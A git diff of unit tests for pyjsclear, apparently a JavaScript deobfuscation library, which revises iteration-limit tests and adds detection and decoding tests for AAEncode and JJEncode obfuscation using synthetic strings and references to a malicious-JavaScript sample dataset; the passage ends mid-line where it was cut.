"""Tests for large file iteration reduction and lite mode (lines 141-156)."""
@@ -216,21 +230,27 @@ def test_large_file_reduces_iterations(self):
@patch('pyjsclear.deobfuscator._count_nodes', return_value=150_000)
@patch('pyjsclear.deobfuscator.TRANSFORM_CLASSES')
def test_very_large_ast_reduces_to_3_iterations(self, mock_transforms, mock_count, mock_parse):
- """Very large AST (>100k nodes) reduces to 3 iterations (line 149)."""
+ """Very large AST (>100k nodes) reduces to 3 iterations per outer cycle."""
mock_ast = MagicMock()
mock_parse.return_value = mock_ast
- # Transform that always changes
- instance = MagicMock()
- instance.execute.return_value = True
- always_changes = MagicMock(return_value=instance)
- mock_transforms.__iter__ = lambda self: iter([always_changes])
-
- # Code > _LARGE_FILE_SIZE to trigger node counting
- code = 'x' * (_LARGE_FILE_SIZE + 1)
- result = Deobfuscator(code).execute()
- # With 150k nodes, max iterations should be min(10, 3) = 3
- assert always_changes.call_count == 3
+ # Generate must also return a large string so the iteration limit
+ # applies on subsequent outer cycles too.
+ large_generated = 'y' * (_LARGE_FILE_SIZE + 1)
+ with patch('pyjsclear.deobfuscator.generate', return_value=large_generated):
+ # Transform that always changes
+ instance = MagicMock()
+ instance.execute.return_value = True
+ always_changes = MagicMock(return_value=instance)
+ mock_transforms.__iter__ = lambda self: iter([always_changes])
+
+ # Code > _LARGE_FILE_SIZE to trigger node counting
+ code = 'x' * (_LARGE_FILE_SIZE + 1)
+ result = Deobfuscator(code).execute()
+ # With 150k nodes, max iterations = min(10, 3) = 3 per outer cycle.
+ # Outer cycle 1: 3 calls, generates large_generated (differs from input).
+ # Outer cycle 2: 3 calls, generates large_generated (same) → stops.
+ assert always_changes.call_count == 6
@patch('pyjsclear.deobfuscator.parse')
@patch('pyjsclear.deobfuscator._count_nodes', return_value=0)
diff --git a/tests/unit/transforms/aa_decode_test.py b/tests/unit/transforms/aa_decode_test.py
index 304dc4e..8404858 100644
--- a/tests/unit/transforms/aa_decode_test.py
+++ b/tests/unit/transforms/aa_decode_test.py
@@ -1,107 +1,64 @@
-"""Tests for AAEncode decoder."""
+"""Unit tests for the AAEncode decoder."""
+
+import pytest
-from pyjsclear.transforms.aa_decode import _AA_DETECT_RE
-from pyjsclear.transforms.aa_decode import _UNICODE_MARKER
-from pyjsclear.transforms.aa_decode import aa_decode
from pyjsclear.transforms.aa_decode import is_aa_encoded
+from pyjsclear.transforms.aa_decode import aa_decode
-# A minimal AAEncode sample encoding "alert(1)"
-AA_SAMPLE = (
- "\uff9f\u03c9\uff9f\uff89= /\uff40\uff4d\xb4\uff09\uff89 ~\u253b\u2501\u253b //*\xb4\u2207\uff40*/ ['_'];"
- " o=(\uff9f\uff70\uff9f) =_=3;"
- " c=(\uff9f\u0398\uff9f) =(\uff9f\uff70\uff9f)-(\uff9f\uff70\uff9f);"
- " (\uff9f\u0414\uff9f) =(\uff9f\u0398\uff9f)= (o^_^o)/ (o^_^o);"
- "(\uff9f\u0414\uff9f)={\uff9f\u0398\uff9f: '_'"
- " ,\uff9f\u03c9\uff9f\uff89 : ((\uff9f\u03c9\uff9f\uff89==3) +'_') [\uff9f\u0398\uff9f]"
- " ,\uff9f\uff70\uff9f\uff89 :(\uff9f\u03c9\uff9f\uff89+ '_')[o^_^o -(\uff9f\u0398\uff9f)]"
- " ,\uff9f\u0414\uff9f\uff89:((\uff9f\uff70\uff9f==3) +'_')[\uff9f\uff70\uff9f] };"
- " (\uff9f\u0414\uff9f) [\uff9f\u0398\uff9f] =((\uff9f\u03c9\uff9f\uff89==3) +'_') [c^_^o];"
- "(\uff9f\u0414\uff9f) ['c'] = ((\uff9f\u0414\uff9f)+'_') [ (\uff9f\uff70\uff9f)+(\uff9f\uff70\uff9f)-(\uff9f\u0398\uff9f) ];"
- "(\uff9f\u0414\uff9f) ['o'] = ((\uff9f\u0414\uff9f)+'_') [\uff9f\u0398\uff9f];"
- "(\uff9fo\uff9f)=(\uff9f\u0414\uff9f) ['c']+(\uff9f\u0414\uff9f) ['o']+(\uff9f\u03c9\uff9f\uff89 +'_')[\uff9f\u0398\uff9f]+"
- " ((\uff9f\u03c9\uff9f\uff89==3) +'_') [\uff9f\uff70\uff9f] +"
- " ((\uff9f\u0414\uff9f) +'_') [(\uff9f\uff70\uff9f)+(\uff9f\uff70\uff9f)]+"
- " ((\uff9f\uff70\uff9f==3) +'_') [\uff9f\u0398\uff9f]+"
- "((\uff9f\uff70\uff9f==3) +'_') [(\uff9f\uff70\uff9f) - (\uff9f\u0398\uff9f)]+"
- "(\uff9f\u0414\uff9f) ['c']+"
- "((\uff9f\u0414\uff9f)+'_') [(\uff9f\uff70\uff9f)+(\uff9f\uff70\uff9f)]+"
- " (\uff9f\u0414\uff9f) ['o']+"
- "((\uff9f\uff70\uff9f==3) +'_') [\uff9f\u0398\uff9f];"
- "(\uff9f\u0414\uff9f) ['_'] =(o^_^o) [\uff9fo\uff9f] [\uff9fo\uff9f];"
- "(\uff9f\u03b5\uff9f)=((\uff9f\uff70\uff9f==3) +'_') [\uff9f\u0398\uff9f]+"
- " (\uff9f\u0414\uff9f) .\uff9f\u0414\uff9f\uff89+"
- "((\uff9f\u0414\uff9f)+'_') [(\uff9f\uff70\uff9f) + (\uff9f\uff70\uff9f)]+"
- "((\uff9f\uff70\uff9f==3) +'_') [o^_^o -\uff9f\u0398\uff9f]+"
- "((\uff9f\uff70\uff9f==3) +'_') [\uff9f\u0398\uff9f]+"
- " (\uff9f\u03c9\uff9f\uff89 +'_') [\uff9f\u0398\uff9f];"
- " (\uff9f\uff70\uff9f)+=(\uff9f\u0398\uff9f);"
- " (\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]='\\\\';"
- " (\uff9f\u0414\uff9f).\uff9f\u0398\uff9f\uff89=(\uff9f\u0414\uff9f+ \uff9f\uff70\uff9f)[o^_^o -(\uff9f\u0398\uff9f)];"
- "(o\uff9f\uff70\uff9fo)=(\uff9f\u03c9\uff9f\uff89 +'_')[c^_^o];"
- "(\uff9f\u0414\uff9f) [\uff9fo\uff9f]='\"';"
- "(\uff9f\u0414\uff9f) ['_'] ( (\uff9f\u0414\uff9f) ['_'] (\uff9f\u03b5\uff9f+"
- "(\uff9f\u0414\uff9f)[\uff9fo\uff9f]+ "
- "(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+(\uff9f\u0398\uff9f)+ (\uff9f\uff70\uff9f)+ (\uff9f\uff70\uff9f)+ "
- "(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+(\uff9f\u0398\uff9f)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ "
- "(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+(\uff9f\u0398\uff9f)+ (\uff9f\uff70\uff9f)+ ((o^_^o) +(o^_^o))+ "
- "(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+(\uff9f\u0398\uff9f)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ "
- "(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+(\uff9f\u0398\uff9f)+ ((\uff9f\uff70\uff9f) + (\uff9f\u0398\uff9f))+ ((o^_^o) - (\uff9f\u0398\uff9f))+ "
- "(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ "
- "(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+(\uff9f\uff70\uff9f)+ ((o^_^o) - (\uff9f\u0398\uff9f))+ "
- "(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+(\uff9f\u0398\uff9f)+ ((\uff9f\uff70\uff9f) + (\uff9f\u0398\uff9f))+ ((\uff9f\uff70\uff9f) + (o^_^o))+ "
- "(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+((゚ー゚) + (\uff9f\u0398\uff9f))+ (\uff9f\u0398\uff9f)+ "
- "(\uff9f\u0414\uff9f)[\uff9fo\uff9f]) (\uff9f\u0398\uff9f)) ('_');"
-)
-
-
-class TestAADetection:
- def test_detects_aa_encoded(self):
- assert is_aa_encoded(AA_SAMPLE) is True
-
- def test_rejects_normal_js(self):
+class TestIsAAEncoded:
+ """Detection tests."""
+
+ def test_positive(self):
+ code = '゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ (゚Д゚)[゚ε゚]+something'
+ assert is_aa_encoded(code) is True
+
+ def test_negative_plain_js(self):
assert is_aa_encoded('var x = 1;') is False
- def test_rejects_empty(self):
+ def test_negative_empty(self):
assert is_aa_encoded('') is False
+ def test_negative_none(self):
+ assert is_aa_encoded(None) is False
+
+ def test_negative_jsfuck(self):
+ assert is_aa_encoded('[][(![]+[])]') is False
+
class TestAADecode:
- def test_decode_returns_none_for_normal_js(self):
+ """Decoding tests."""
+
+ def test_empty_returns_none(self):
+ assert aa_decode('') is None
+
+ def test_plain_js_returns_none(self):
assert aa_decode('var x = 1;') is None
- def test_decode_returns_string(self):
- # The sample may not decode perfectly without a real AAEncode encoder,
- # but the function should not crash
- result = aa_decode(AA_SAMPLE)
- # At minimum, it should return a string (even if imperfect)
- assert result is None or isinstance(result, str)
+ def test_none_returns_none(self):
+ assert aa_decode(None) is None
- def test_unicode_marker_path(self):
- """Test the unicode character marker path (lines 71-74).
+ def test_synthetic_simple(self):
+ """Synthetic AAEncode for 'Hi' (H=110 octal, i=151 octal).
- Build a minimal AAEncoded string with the unicode marker to exercise
- that code path.
+ This builds a minimal AAEncoded payload that the decoder can parse.
+ Note: real AAEncode uses U+FF70 (\uff70 halfwidth), NOT U+30FC (fullwidth).
"""
- # We need the detection pattern to match, plus escape-split parts with _UNICODE_MARKER
- # Build a fake AAEncoded string that the decoder can parse
- detect = '(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]'
- # Create a part that starts with the unicode marker followed by a hex number
- # chr(0x41) = 'A', so hex_str = '41'
- escape_split = '(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+'
- part_with_unicode = _UNICODE_MARKER + '41'
- code = detect + escape_split + part_with_unicode
+ # H = 0x48 = 110 octal, i = 0x69 = 151 octal
+ # Digit 1 = (\uff9f\uff70\uff9f), Digit 0 = (c^_^o),
+ # Digit 5 = ((\uff9f\uff70\uff9f) + (\uff9f\uff70\uff9f) + (\uff9f\u0398\uff9f))
+ sep = '(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+'
+ h_digits = '(\uff9f\uff70\uff9f)+(\uff9f\uff70\uff9f)+(c^_^o)' # 1 1 0
+ i_digits = (
+ '(\uff9f\uff70\uff9f)+'
+ '((\uff9f\uff70\uff9f) + (\uff9f\uff70\uff9f) + (\uff9f\u0398\uff9f))+'
+ '(\uff9f\uff70\uff9f)'
+ ) # 1 5 1
+
+ data = sep + h_digits + sep + i_digits
+ # Add execution wrapper with the signature
+ code = data + "(\uff9f\u0414\uff9f)['_'](\uff9f\u0398\uff9f)"
+
result = aa_decode(code)
- # Should decode the unicode marker part to chr(0x41) = 'A'
assert result is not None
- assert 'A' in result
-
- def test_value_error_returns_none(self):
- """ValueError in decoding returns None (lines 82-83)."""
- # Build a fake AAEncoded string with invalid octal that triggers ValueError
- detect = '(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]'
- escape_split = '(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+'
- invalid_part = 'not_a_number'
- code = detect + escape_split + invalid_part
- result = aa_decode(code)
- assert result is None
+ assert result == 'Hi'
diff --git a/tests/unit/transforms/deobfuscator_prepasses_test.py b/tests/unit/transforms/deobfuscator_prepasses_test.py
deleted file mode 100644
index 190e39d..0000000
--- a/tests/unit/transforms/deobfuscator_prepasses_test.py
+++ /dev/null
@@ -1,21 +0,0 @@
-"""Tests for deobfuscator pre-pass integration (encoding detection, large file optimization)."""
-
-from pyjsclear.deobfuscator import Deobfuscator
-from pyjsclear.deobfuscator import _count_nodes
-
-
-class TestLargeFileOptimization:
- def test_returns_original_on_no_change(self):
- code = 'const x = 1;'
- d = Deobfuscator(code)
- result = d.execute()
- assert result == code
-
-
-class TestCountNodes:
- def test_count_simple_ast(self):
- from pyjsclear.parser import parse
-
- ast = parse('var x = 1;')
- count = _count_nodes(ast)
- assert count > 0
diff --git a/tests/unit/transforms/jj_decode_test.py b/tests/unit/transforms/jj_decode_test.py
new file mode 100644
index 0000000..e00ab6f
--- /dev/null
+++ b/tests/unit/transforms/jj_decode_test.py
@@ -0,0 +1,105 @@
+"""Unit tests for the JJEncode decoder."""
+
+import os
+
+import pytest
+
+from pyjsclear.transforms.jj_decode import is_jj_encoded
+from pyjsclear.transforms.jj_decode import jj_decode
+
+
+# Path to real JJEncode samples
+_MALJS_DIR = os.path.join(
+ os.path.dirname(__file__),
+ os.pardir,
+ os.pardir,
+ 'resources',
+ 'jsimplifier',
+ 'dataset',
+ 'MalJS',
+)
+
+
+class TestIsJJEncoded:
+ """Detection tests."""
+
+ def test_positive_dollar_sign(self):
+ assert is_jj_encoded('$=~[];$={___:++$};') is True
+
+ def test_positive_custom_varname(self):
+ assert is_jj_encoded('myVar=~[];myVar={___:++myVar};') is True
+
+ def test_negative_plain_js(self):
+ assert is_jj_encoded('var x = 1;') is False
+
+ def test_negative_empty(self):
+ assert is_jj_encoded('') is False
+
+ def test_negative_none_like(self):
+ assert is_jj_encoded(' ') is False
+
+ def test_negative_jsfuck(self):
+ assert is_jj_encoded('[][(![]+[])]') is False
+
+
+class TestJJDecode:
+ """Decoding tests."""
+
+ def test_empty_returns_none(self):
+ assert jj_decode('') is None
+
+ def test_plain_js_returns_none(self):
+ assert jj_decode('var x = 1;') is None
+
+ def test_none_input_returns_none(self):
+ assert jj_decode(None) is None
+
+ def test_real_sample_7b6c(self):
+ """Decode the JJEncode line from the 7b6c... sample."""
+ sample_path = os.path.join(_MALJS_DIR, '7b6c66c42548b964c11cbaf37e9be12d')
+ if not os.path.isfile(sample_path):
+ pytest.skip('Sample file not available')
+
+ with open(sample_path) as f:
+ lines = f.readlines()
+
+ jj_line = lines[23] # line 24 (0-indexed: 23)
+ result = jj_decode(jj_line)
+ assert result is not None
+ # The decoded output should contain document.write
+ assert 'document.write' in result or 'document.writeln' in result
+
+ def test_real_sample_7b6c_contains_script_tag(self):
+ """Decoded output should contain a script tag reference."""
+ sample_path = os.path.join(_MALJS_DIR, '7b6c66c42548b964c11cbaf37e9be12d')
+ if not os.path.isfile(sample_path):
+ pytest.skip('Sample file not available')
+
+ with open(sample_path) as f:
+ lines = f.readlines()
+
+ jj_line = lines[23]
+ result = jj_decode(jj_line)
+ assert result is not None
+ assert '